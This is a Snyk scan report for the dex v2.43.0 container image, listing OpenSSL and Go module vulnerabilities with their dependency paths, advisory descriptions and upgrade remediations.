# Snyk test report

June 14th 2026, 1:03:18 am (UTC+00:00)

Scanned the following paths:

- ghcr.io/dexidp/dex:v2.43.0/dexidp/dex (apk)
- ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4//usr/local/bin/gomplate (gomodules)
- ghcr.io/dexidp/dex:v2.43.0/dexidp/dex//usr/local/bin/docker-entrypoint (gomodules)
- ghcr.io/dexidp/dex:v2.43.0/dexidp/dex//usr/local/bin/dex (gomodules)

80 known vulnerabilities
234 vulnerable dependency paths
1134 dependencies

## CVE-2026-31789

critical severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms.

Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior.

If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow.

Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.7-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/364f095b80601db632b0def6a33316967f863bde
- https://github.com/openssl/openssl/commit/7a9087efd769f362ad9c0e30c7baaa6bbfa65ecf
- https://github.com/openssl/openssl/commit/945b935ac66cc7f1a41f1b849c7c25adb5351f49
- https://github.com/openssl/openssl/commit/a24216018e1ede8ff01a4ff5afff7dfbd443e2f9
- https://github.com/openssl/openssl/commit/a91e537d16d74050dbde50bb0dfb1fe9930f0521
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html

More about this vulnerability

## Incorrect Authorization

critical severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: google.golang.org/grpc
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and google.golang.org/grpc@v1.68.1

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › google.golang.org/grpc@v1.68.1
- Introduced through: github.com/dexidp/dex@* › google.golang.org/grpc@v1.72.1

## Overview

Affected versions of this package are vulnerable to Incorrect Authorization in the processing of HTTP/2 `:path` pseudo-headers in `handleStream()`. An attacker can gain unauthorized access to restricted resources by sending requests with malformed `:path` headers that omit the leading slash. This is only exploitable if the server uses path-based authorization interceptors, has deny rules that use canonical paths with leading slashes, and has a fallback allow rule in its policy.

## Workaround

This vulnerability can be mitigated by adding a validating interceptor that rejects requests with malformed paths, configuring infrastructure (such as reverse proxies) to enforce strict HTTP/2 compliance, or switching to a default-deny authorization policy.

## Remediation

Upgrade `google.golang.org/grpc` to version 1.79.3 or higher.

## References

- GitHub Commit

More about this vulnerability

## Improper Authentication

critical severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/net/idna
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/net/idna@v0.32.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/net/idna@v0.32.0
- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/idna@v0.40.0

## Overview

Affected versions of this package are vulnerable to Improper Authentication via the `ToASCII` and `ToUnicode` functions. An attacker can bypass hostname validation by submitting Punycode-encoded labels that decode to ASCII-only labels, potentially leading to privilege escalation in applications that rely on these functions for security checks.

Note: The fix depends on the Go toolchain in use having Unicode version 16 or later, which is planned for the 1.27 release.

## Remediation

Upgrade `golang.org/x/net/idna` to version 0.54.0 or higher.

## References

- GitHub Commit
- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## CVE-2025-69421

high severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer dereference in the PKCS12_item_decrypt_d2i_ex() function.

Impact summary: A NULL pointer dereference can trigger a crash which leads to Denial of Service for an application processing PKCS#12 files.

The PKCS12_item_decrypt_d2i_ex() function does not check whether the oct parameter is NULL before dereferencing it. When called from PKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can be NULL, causing a crash. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure.

Exploiting this issue requires an attacker to provide a malformed PKCS#12 file to an application that processes it. For that reason the issue was assessed as Low severity according to our Security Policy.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.

OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/3524a29271f8191b8fd8a5257eb05173982a097b
- https://github.com/openssl/openssl/commit/36ecb4960872a4ce04bf6f1e1f4e78d75ec0c0c7
- https://github.com/openssl/openssl/commit/4bbc8d41a72c842ce4077a8a3eccd1109aaf74bd
- https://github.com/openssl/openssl/commit/643986985cd1c21221f941129d76fe0c2785aeb3
- https://github.com/openssl/openssl/commit/a2dbc539f0f9cc63832709fa5aa33ad9495eb19c
- https://openssl-library.org/news/secadv/20260127.txt
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-28390

high severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen.

Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.

When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.

Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.7-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc
- https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6
- https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4
- https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788
- https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-28389

high severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen.

Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service.

When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing.

Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.7-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5
- https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616
- https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f
- https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a
- https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-28388

high severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing.

Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application.

When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference.

Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it.

The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy.

The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.7-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e
- https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139
- https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3
- https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8
- https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## CVE-2026-28387

high severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and openssl/libcrypto3@3.3.3-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › openssl/libcrypto3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › openssl/libssl3@3.3.3-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

Issue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side.

Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code.

However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage.

By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable.

The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records.

No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.

## Remediation

Upgrade `Alpine:3.21` `openssl` to version 3.3.7-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b
- https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe
- https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3
- https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7
- https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html
- https://cert-portal.siemens.com/productcert/html/ssa-265688.html

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/oauth2/jws
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/oauth2/jws@v0.24.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/oauth2/jws@v0.24.0

## Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to improper parsing of malformed tokens which can lead to memory consumption.

## Remediation

Upgrade `golang.org/x/oauth2/jws` to version 0.27.0 or higher.

## References

- GitHub Commit
- GitHub Commit
- GitHub Issue
- GitHub PR
- Go Advisory

More about this vulnerability

## Infinite loop

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/net/http2
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/net/http2@v0.32.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/net/http2@v0.32.0
- Introduced through: github.com/dexidp/dex@* › golang.org/x/net/http2@v0.40.0

## Overview

golang.org/x/net/http2 is a work-in-progress HTTP/2 implementation for Go.

Affected versions of this package are vulnerable to Infinite loop.
Go Vulnerability Report:

When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a `SETTINGS_MAX_FRAME_SIZE` with a value of 0.

## Remediation

Upgrade `golang.org/x/net/http2` to version 0.53.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Server-side Request Forgery (SSRF)

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/net/http/httpproxy
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/net/http/httpproxy@v0.32.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/net/http/httpproxy@v0.32.0

## Overview

golang.org/x/net/http/httpproxy is a package for HTTP proxy determination based on environment variables, as provided by net/http's ProxyFromEnvironment function

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in `proxy.go`, because hostname matching against proxy patterns may treat an IPv6 zone ID as a hostname component. An environment variable value like `*.example.com` could be matched to a request intended for `[::1%25.example.com]:80`.

## Remediation

Upgrade `golang.org/x/net/http/httpproxy` to version 0.36.0 or higher.

## References

- Git Commit
- GitHub Commit
- GitHub Commit
- GitHub Issue

More about this vulnerability

## Improper Check for Certificate Revocation

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/knownhosts
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh/knownhosts@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh/knownhosts@v0.31.0

## Overview

Affected versions of this package are vulnerable to Improper Check for Certificate Revocation in the `SignatureKey` verification process. An attacker can bypass revocation enforcement by presenting a certificate with a revoked `SignatureKey`, potentially allowing unauthorized access or trust to be established.

## Remediation

Upgrade `golang.org/x/crypto/ssh/knownhosts` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Improper Handling of Unexpected Data Type

high severity
Exploit: Proof of Concept

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/agent
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh/agent@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh/agent@v0.31.0

## Overview

Affected versions of this package are vulnerable to Improper Handling of Unexpected Data Type when functions including `List()` and `SignWithFlags()` process `*successAgentMsg`. This can be triggered by a malicious agent sending a single `0x06` byte (`SSH_AGENT_SUCCESS`), which is unmarshalled into a `*successAgentMsg`, causing a panic and client crash.

## Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

## Remediation

Upgrade `golang.org/x/crypto/ssh/agent` to version 0.43.0 or higher.

## References

- GitHub Commit
- GitHub Issue

More about this vulnerability

## Incorrect Type Conversion or Cast

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh/agent
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh/agent@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh/agent@v0.31.0

## Overview

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to the improper handling of crafted input data in the `ed25519.PrivateKey` component. An attacker can cause the client to panic by supplying malformed wire bytes.

## Remediation

Upgrade `golang.org/x/crypto/ssh/agent` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Missing Release of Resource after Effective Lifetime

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through the repeated opening of channels by an authenticated SSH client that are subsequently rejected by the server. An attacker can cause unbounded memory growth and crash the server process by continuously triggering channel rejections.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Improper Authentication

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Improper Authentication due to the `Verify` method not checking the User Presence flag in FIDO/U2F security key types. An attacker can perform unauthorized authentication by generating signatures without requiring physical interaction with the hardware security key.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Incorrect Type Conversion or Cast

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast due to an incorrectly placed cast from bytes to int in the `AES-GCM packet decoder` process. An attacker can cause a server-side panic by sending specially crafted inputs.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
- Go Commit
- Go Issue
- Google Groups Forum

More about this vulnerability

## Uncaught Exception

high severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.43.0/hairyhenderson/gomplate/v4 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: golang.org/x/crypto/ssh
- Introduced through: github.com/hairyhenderson/gomplate/v4@* and golang.org/x/crypto/ssh@v0.31.0

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v4@* › golang.org/x/crypto/ssh@v0.31.0

## Overview

golang.org/x/crypto/ssh is a SSH client and server

Affected versions of this package are vulnerable to Uncaught Exception in the `CertChecker` component when used as a public key callback without setting `IsUserAuthority` or `IsHostAuthority`. An attacker can cause the server to panic by presenting a crafted certificate.

Note:

This is only exploitable if both `IsUserAuthority` and `IsHostAuthority` are not set in the server configuration.

## Remediation

Upgrade `golang.org/x/crypto/ssh` to version 0.52.0 or higher.

## References

- Go Advisory
